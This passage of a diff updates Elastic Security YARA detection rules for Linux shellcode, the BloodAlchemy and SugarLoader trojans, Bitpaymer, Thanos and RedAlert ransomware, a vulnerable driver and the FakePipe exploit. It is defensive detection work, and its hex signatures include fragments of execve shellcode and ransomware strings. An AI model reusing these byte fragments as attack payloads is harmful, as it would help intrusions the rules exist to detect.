+		logic_hash = "048ce8059be6697c5f507fb1912ac2adcedab87c75583dd84700984e6d0d81e6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4af586211c56e92b1c60fcd09b4def9801086fbe633418459dc07839fe9c735a"
+		fingerprint = "4429ef9925aff797ab973f9a5b0efc160a516f425e3b024f22e5a5ddad26c341"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -76788,28 +80931,28 @@ rule ELASTIC_Linux_Shellcode_Generic_30C70926 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E3 52 53 89 E1 31 C0 B0 0B CD 80 31 C0 40 CD 80 }
+		$a = { 20 89 34 24 FF D1 8B 44 24 0C 0F B6 4C 24 04 8B 54 24 08 85 D2 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Shellcode_Generic_224Bdcc4 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mech_D30Ec0A0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
+		description = "Detects Linux Trojan Mech (Linux.Trojan.Mech)"
 		author = "Elastic Security"
-		id = "224bdcc4-4b38-44b5-96c6-d3b378628fa4"
-		date = "2021-01-12"
+		id = "d30ec0a0-3fd6-4d83-ad29-9d45704bc8ce"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Shellcode_Generic.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bd22648babbee04555cef52bfe3e0285d33852e85d254b8ebc847e4e841b447e"
-		logic_hash = "8c4a2bb63f0926e7373caf0a027179b4730cc589f9af66d2071e88f4165b0f73"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mech.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "710d1a0a8c7eecc6d793933c8a97cec66d284b3687efee7655a2dc31d15c0593"
+		logic_hash = "268aeb25d6468412d8123bab5eb2c8bd7704828d0ef3c3d771aa036e374127d7"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "e23b239775c321d4326eff2a7edf0787116dd6d8a9e279657e4b2b01b33e72aa"
+		fingerprint = "061e9f1aade510132674d87ab5981e5b6b0ae3a2782a97d8cc6c2be7b26c6454"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -76817,144 +80960,141 @@ rule ELASTIC_Linux_Shellcode_Generic_224Bdcc4 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 89 E6 6A 10 5A 6A 2A 58 0F 05 48 85 C0 79 1B 49 FF C9 74 22 }
+		$a = { 6E 63 20 2D 20 4C 69 6E 75 78 20 32 2E 32 2E 31 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Shellcode_Generic_99B991Cd : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bloodalchemy_3793364E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
+		description = "Detects Windows Trojan Bloodalchemy (Windows.Trojan.BloodAlchemy)"
 		author = "Elastic Security"
-		id = "99b991cd-a5ca-475c-8c10-e43b9d22d26e"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Shellcode_Generic.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "954b5a073ce99075b60beec72936975e48787bea936b4c5f13e254496a20d81d"
-		logic_hash = "664e213314fe1d6f1920de237ebea3a94f7fbc42eff089475674ccef812f0f68"
+		id = "3793364e-a73c-4cf0-855c-fdcdb2b88386"
+		date = "2023-09-25"
+		modified = "2023-09-25"
+		reference = "https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BloodAlchemy.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "c9f03767b92bb2c44f6b386e1f0a521f1a7a063cf73799844cc3423d4a7de7be"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ed904a3214ccf43482e3ddf75f3683fea45f7c43a2f1860bac427d7d15d8c399"
+		fingerprint = "b4620f360093284ae6f2296b4239227099f58f8f0cfe9f70298c84d6cbe7fa29"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 6E 89 E3 50 53 89 E1 B0 0B CD 80 00 4C 65 6E 67 }
+		$a1 = { 55 8B EC 51 83 65 FC 00 53 56 57 BF 00 20 00 00 57 6A 40 FF 15 }
+		$a2 = { 55 8B EC 81 EC 80 00 00 00 53 56 57 33 FF 8D 45 80 6A 64 57 50 89 7D E4 89 7D EC 89 7D F0 89 7D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Shellcode_Generic_24B9Aa12 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bloodalchemy_E510798D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
+		description = "Detects Windows Trojan Bloodalchemy (Windows.Trojan.BloodAlchemy)"
 		author = "Elastic Security"
-		id = "24b9aa12-92b2-492d-9a0e-078cdab5830a"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Shellcode_Generic.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "24b2c1ccbbbe135d40597fbd23f7951d93260d0039e0281919de60fa74eb5977"
-		logic_hash = "4685253eb00a21d6dd6e874ff68209f20c8668262f24767086687555ccf934aa"
+		id = "e510798d-a938-47ba-92e3-0c1bcd3ce9a9"
+		date = "2023-09-25"
+		modified = "2023-09-25"
+		reference = "https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BloodAlchemy.yar#L22-L41"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7919bb5f19745a1620e6be91622c40083cbd2ddb02905215736a2ed11e9af5c4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0ded0ad2fdfff464bf9a0b5a59b8edfe1151a513203386daae6f9f166fd48e5c"
+		fingerprint = "151519156e4c6b5395c03f70c77601681f17f86a08db96a622b9489a3df682d6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 6E 89 E3 89 C1 89 C2 B0 0B CD 80 31 C0 40 CD 80 }
+		$a1 = { 55 8B EC 83 EC 54 53 8B 5D 08 56 57 33 FF 89 55 F4 89 4D F0 BE 00 00 00 02 89 7D F8 89 7D FC 85 DB }
+		$a2 = { 55 8B EC 83 EC 0C 56 57 33 C0 8D 7D F4 AB 8D 4D F4 AB AB E8 42 10 00 00 8B 7D F4 33 F6 85 FF 74 03 8B 77 08 }
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Linux_Shellcode_Generic_8Ac37612 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bloodalchemy_63084Eea : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
+		description = "Detects Windows Trojan Bloodalchemy (Windows.Trojan.BloodAlchemy)"
 		author = "Elastic Security"
-		id = "8ac37612-aec8-4376-8269-2594152ced8a"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Shellcode_Generic.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c199b902fa4b0fcf54dc6bf3e25ad16c12f862b47e055863a5e9e1f98c6bd6ca"
-		logic_hash = "c0af751bc54dcd9cf834fa5fe9fa120be5e49a56135ebb72fd6073948e956929"
+		id = "63084eea-358b-4fb0-9668-3f40f0aae9e7"
+		date = "2023-09-25"
+		modified = "2023-09-25"
+		reference = "https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BloodAlchemy.yar#L43-L61"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "3fe64502992281511e942b8f4541d61b33e900dbe23ea9f976c7eb9522ce4cbd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "97a3d3e7ff4c9ae31f71e609d10b3b848cb0390ae2d1d738ef53fd23ff0621bc"
+		fingerprint = "3f6ef0425b846b2126263c590d984bc618ad61de91a9141160c2b804c585ff6d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 E3 ?? 53 89 E1 B0 0B CD 80 00 47 43 43 3A }
+		$a = { 55 8B EC 83 EC 38 53 56 57 8B 75 08 8D 7D F0 33 C0 33 DB AB 89 5D C8 89 5D D0 89 5D D4 AB 89 5D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Shellcode_Generic_932Ed0F0 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bloodalchemy_C2D80609 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Shellcode Generic (Linux.Shellcode.Generic)"
+		description = "Detects Windows Trojan Bloodalchemy (Windows.Trojan.BloodAlchemy)"
 		author = "Elastic Security"
-		id = "932ed0f0-bd43-4367-bcc3-ecd8f65b52ee"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Shellcode_Generic.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f357597f718f86258e7a640250f2e9cf1c3363ab5af8ddbbabb10ebfa3c91251"
-		logic_hash = "20ae3f1d96f8afd0900ac919eacaff3bd748a7466af5bb2b9f77cfdc4b8b829e"
+		id = "c2d80609-9a66-4fbb-b594-17d16372cb14"
+		date = "2023-09-25"
+		modified = "2023-09-25"
+		reference = "https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BloodAlchemy.yar#L63-L81"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "694a0f917f106fbdde4c8e5dd8f9cdce56e9423ce5a7c3a5bf30bf43308d42e9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7aa4619d2629b5d795e675d17a6e962c6d66a75e11fa884c0b195cb566090070"
+		fingerprint = "8815e42ef85ae5a8915cd26b573cd7411c041778cdf4bc99efd45526e3699642"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { E3 50 89 E2 53 89 E1 B0 0B CD 80 31 C0 40 CD 80 }
+		$a = { 55 8B EC 83 EC 30 53 56 57 33 C0 8D 7D F0 AB 33 DB 68 02 80 00 00 6A 40 89 5D FC AB AB FF 15 28 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Bitpaymer_D74273B3 : BETA FILE MEMORY
+rule ELASTIC_Windows_Trojan_Bloodalchemy_De591C5A : FILE MEMORY
 {
 	meta:
-		description = "Identifies BITPAYMER ransomware"
+		description = "Detects Windows Trojan Bloodalchemy (Windows.Trojan.BloodAlchemy)"
 		author = "Elastic Security"
-		id = "d74273b3-d109-4b5d-beff-dffee9a984b1"
-		date = "2020-06-25"
-		modified = "2021-08-23"
-		reference = "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Bitpaymer.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "126246689b28e92ed10bfa6165f06ff7d4f0e062de7c58b821eaaf5e3cae9306"
+		id = "de591c5a-95a5-4a23-bc02-7bc487b6ca4b"
+		date = "2023-09-25"
+		modified = "2023-11-02"
+		reference = "https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BloodAlchemy.yar#L83-L106"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "fd5cfe2558a7c02a617003140cdcf477ec451ecea4adf2808bef8f93673c28f1"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "4f913f06f7c7decbeb78187c566674f91ebbf929ad7057641659bb756cf2991b"
-		threat_name = "Windows.Ransomware.Bitpaymer"
+		tags = "FILE, MEMORY"
+		fingerprint = "6765378490707c5965dc4abd04169d4a94b787be3fccf3b77f1eff5d507090a4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -76962,124 +81102,130 @@ rule ELASTIC_Windows_Ransomware_Bitpaymer_D74273B3 : BETA FILE MEMORY
 		os = "windows"
 
 	strings:
-		$b1 = { 24 E8 00 00 00 29 F0 19 F9 89 8C 24 88 00 00 00 89 84 24 84 00 }
+		$crypto_0 = { 32 C7 8A DF 88 04 39 8B C1 6A 05 59 F7 F1 8A C7 8D 4A 01 D2 E3 B1 07 2A CA D2 E8 8B 4D F8 0A D8 02 FB 41 }
+		$crypto_1 = { 8A 1F 0F B6 C3 83 E0 7F D3 E0 99 09 55 ?? 0B F0 47 84 DB 79 ?? 83 C1 07 83 F9 3F }
+		$crypto_2 = { E8 [4] 03 F0 33 D2 8B C6 89 75 ?? 25 FF FF FF 7F 6A 34 59 F7 F1 8B 45 ?? 66 8B 0C 55 [4] 66 89 0C 43 40 89 45 ?? 3B C7 }
+		$crypto_3 = { 61 00 62 00 63 00 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 6C 00 6D 00 6E 00 6F 00 70 00 71 00 72 00 73 00 74 00 }
+		$com_tm_cid = { 9F 36 87 0F E5 A4 FC 4C BD 3E 73 E6 15 45 72 DD }
+		$com_tm_iid = { C0 C7 A4 AB 2F A9 4D 13 40 96 97 20 CC 3F D4 0F 85 }
 
 	condition:
-		1 of ($b*)
+		any of ($crypto_*) and all of ($com_tm_*)
 }
-rule ELASTIC_Windows_Ransomware_Bitpaymer_Bca25Ac6 : BETA FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Elby_65B09743 : FILE
 {
 	meta:
-		description = "Identifies BITPAYMER ransomware"
+		description = "Name: ElbyCDIO.sys, Version: 6.0.3.2"
 		author = "Elastic Security"
-		id = "bca25ac6-e351-4823-be75-b0661c89588a"
-		date = "2020-06-25"
-		modified = "2021-08-23"
-		reference = "https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Bitpaymer.yar#L22-L48"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7670f9dafacc8fc5998c1974af66ede388c0997545da067648fec4fd053f0001"
+		id = "65b09743-029d-456a-b7f4-3cd055a0e0e2"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Elby.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "eea53103e7a5a55dc1df79797395a2a3e96123ebd71cdd2db4b1be80e7b3f02b"
+		logic_hash = "7c7438520b238daf38d4ac91cbdee48bbfa9c85bd76208a436ce59edcfcecb80"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "2ecc7884d47ca7dbba30ba171b632859914d6152601ea7b463c0f52be79ebb8c"
-		threat_name = "Windows.Ransomware.Bitpaymer"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "88bfab229f2f2d66b4c732a6548ee6f31e6b0905eeea3b8f0f874094c1dbc98a"
+		threat_name = "Windows.VulnDriver.Elby"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "RWKGGE.PDB" fullword
-		$a2 = "*Qf69@+mESRA.RY7*+6XEF#NH.pdb" fullword
-		$a3 = "04QuURX.pdb" fullword
-		$a4 = "9nuhuNN.PDB" fullword
-		$a5 = "mHtXGC.PDB" fullword
-		$a6 = "S:\\Work\\_bin\\Release-Win32\\wp_encrypt_new.pdb" fullword
-		$a7 = "C:\\Work\\_bin\\Release-Win32\\wp_encrypt.pdb" fullword
-		$a8 = "k:\\softcare\\release\\h2O.pdb" fullword
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 45 00 6C 00 62 00 79 00 43 00 44 00 49 00 4F 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x06][\x00-\x00])([\x00-\x02][\x00-\x00])([\x00-\x03][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x06][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00]))/
 
 	condition:
-		1 of ($a*)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Virus_Floxif_493D1897 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Sugarloader_E7E1D99C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Virus Floxif (Windows.Virus.Floxif)"
+		description = "Identifies unpacked SugarLoader sample"
 		author = "Elastic Security"
-		id = "493d1897-864e-4f18-8511-0c6c9d990990"
-		date = "2023-09-26"
-		modified = "2023-11-02"
+		id = "e7e1d99c-355e-4672-9176-d9eb5d2729c4"
+		date = "2023-10-24"
+		modified = "2023-10-24"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Virus_Floxif.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e628b7973ee25fdfd8f849fdf5923c6fba48141de802b0b4ce3e9ad2e40fe470"
-		logic_hash = "d3f516966bd4423c49771251075a1ea2f725aec91615f7f44dd098da2a4f3574"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_SugarLoader.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940"
+		logic_hash = "0689b704add81e8e7968d9dba5f60d45c8791209330f4ee97e218f8eeb22c88f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6a043d05ca24846cfba28b5ea603a3e512a5af4f4e15629851a922190245ca1e"
+		fingerprint = "cfffdab1e603518df48719266f0a2e91763e5ae7c033d4bf7a4c37232aa8eb04"
+		threat_name = "MacOS.Trojan.SugarLoader"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a = { 8B 54 24 04 80 7A 03 01 75 04 8D 42 04 C3 8D 42 04 53 8B C8 8A 5A 02 84 DB 74 02 30 19 8A 19 }
+		$seq_process_key = { 44 0F B6 0C 0F 89 C8 99 F7 BF ?? ?? ?? ?? 0F B6 84 17 ?? ?? ?? ?? 4C 21 C6 4C 01 CE 48 01 C6 }
+		$seq_handshake = { E8 ?? ?? ?? ?? 4C 8D 75 ?? 48 89 DF 4C 89 F6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 8B 06 C1 C0 ?? 44 21 F8 4C 8D 75 ?? 41 89 06 48 89 DF 4C 89 F6 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? }
+		$seq_config = { 48 89 F7 48 C1 E7 05 48 29 F7 48 0F BE D1 48 01 FA 89 D6 8A 08 48 FF C0 84 C9 75 ?? EB ?? }
+		$seq_recieve_msg = { 45 85 FF 74 ?? 45 39 EF BA ?? ?? ?? ?? 41 0F 42 D7 41 8B 3C 24 48 89 DE 31 C9 E8 ?? ?? ?? ?? 41 29 C7 48 01 C3 48 85 C0 7F ?? B8 ?? ?? ?? ?? EB ?? }
 
 	condition:
-		all of them
+		3 of ($seq*)
 }
-rule ELASTIC_Windows_Ransomware_Thanos_C3522Fd0 : BETA FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Redalert_39642D52 : FILE MEMORY
 {
 	meta:
-		description = "Identifies THANOS (Hakbit) ransomware"
+		description = "Detects Linux Ransomware Redalert (Linux.Ransomware.RedAlert)"
 		author = "Elastic Security"
-		id = "c3522fd0-90e2-4dd9-82f1-4502689270dd"
-		date = "2020-11-03"
-		modified = "2021-08-23"
-		reference = "https://labs.sentinelone.com/thanos-ransomware-riplace-bootlocker-and-more-added-to-feature-set/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Thanos.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "00d28aafd242308ad6561547ed8c80dad3086859dacab09ffdd43d436bf9ec52"
+		id = "39642d52-0a4b-48d5-bb62-8f37beb4dc6a"
+		date = "2022-07-06"
+		modified = "2022-08-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_RedAlert.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "039e1765de1cdec65ad5e49266ab794f8e5642adb0bdeb78d8c0b77e8b34ae09"
+		logic_hash = "fa8fc16f0c8a55dd78781d334d7f55db6aa5e60f76cebf5282150af8ceb08dc3"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "6d9d6131fd0e3a8585900f4966cb2d1b32e7f5d71b9a65b7a47d80e94bd9f89a"
-		threat_name = "Windows.Ransomware.Thanos"
+		quality = 48
+		tags = "FILE, MEMORY"
+		fingerprint = "744524ee2ae9e3e232f15b0576cdab836ac0fe3c9925eab66ed8c6b0be3f23d7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$c1 = { 0C 89 45 F0 83 65 EC 00 EB 07 8B 45 EC 40 89 45 EC 83 7D EC 18 }
-		$c2 = { E8 C1 E0 04 8B 4D FC C6 44 01 09 00 8B 45 E8 C1 E0 04 8B 4D FC 83 64 01 }
-		$c3 = { 00 2F 00 18 46 00 54 00 50 00 20 00 55 00 73 00 65 00 72 00 4E 00 }
+		$str_ransomnote = "\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\% REDALERT UNIQUE IDENTIFIER START \\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%\\%" ascii fullword
+		$str_print = "\t\t\t########\n\t\t\t[ N13V ]\n\t\t\t########\n\n" ascii fullword
+		$str_arg = "[info] Catch -t argument. Check encryption time" ascii fullword
+		$str_ext = ".crypt658" ascii fullword
+		$byte_checkvm = { 48 8B 14 DD ?? ?? ?? ?? 31 C0 48 83 C9 FF FC 48 89 EE 48 89 D7 F2 AE 4C 89 E7 48 F7 D1 E8 }
 
 	condition:
-		2 of ($c*)
+		3 of ($str_*) or ($byte_checkvm and $str_print)
 }
-rule ELASTIC_Windows_Ransomware_Thanos_A6C09942 : BETA FILE MEMORY
+rule ELASTIC_Windows_Exploit_Fakepipe_6Bc93551 : FILE MEMORY
 {
 	meta:
-		description = "Identifies THANOS (Hakbit) ransomware"
+		description = "Detects Windows Exploit Fakepipe (Windows.Exploit.FakePipe)"
 		author = "Elastic Security"
-		id = "a6c09942-0733-40d7-87b7-eb44dd472a35"
-		date = "2020-11-03"
-		modified = "2021-08-23"
-		reference = "https://labs.sentinelone.com/thanos-ransomware-riplace-bootlocker-and-more-added-to-feature-set/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Thanos.yar#L24-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "cecdeb21e041c90769b8fd8431fa87943461c1f7faa5ad15918524b91ba5c792"
+		id = "6bc93551-b528-464b-8f1f-06db58c1cb01"
+		date = "2024-02-28"
+		modified = "2024-03-21"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Exploit_FakePipe.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "545a41ccfcd0a4f09c1c62bef2dde61b52fa92abada71ab72b3f4febb9265f75"
+		logic_hash = "daf78c4a2db337f51054e108b5b54c8aa32300eae3bd39c5fc2d4769221c8aea"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "4abcf47243bebc281566ba4929b20950e3f1bfac8976ae5bc6b8ffda85468ec0"
-		threat_name = "Windows.Ransomware.Thanos"
+		tags = "FILE, MEMORY"
+		fingerprint = "e2e31171486ee71bff9450966ba7b68dd0013856f1bda9ff7a30270855332c44"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -77087,166 +81233,120 @@ rule ELASTIC_Windows_Ransomware_Thanos_A6C09942 : BETA FILE MEMORY
 		os = "windows"
 
 	strings:
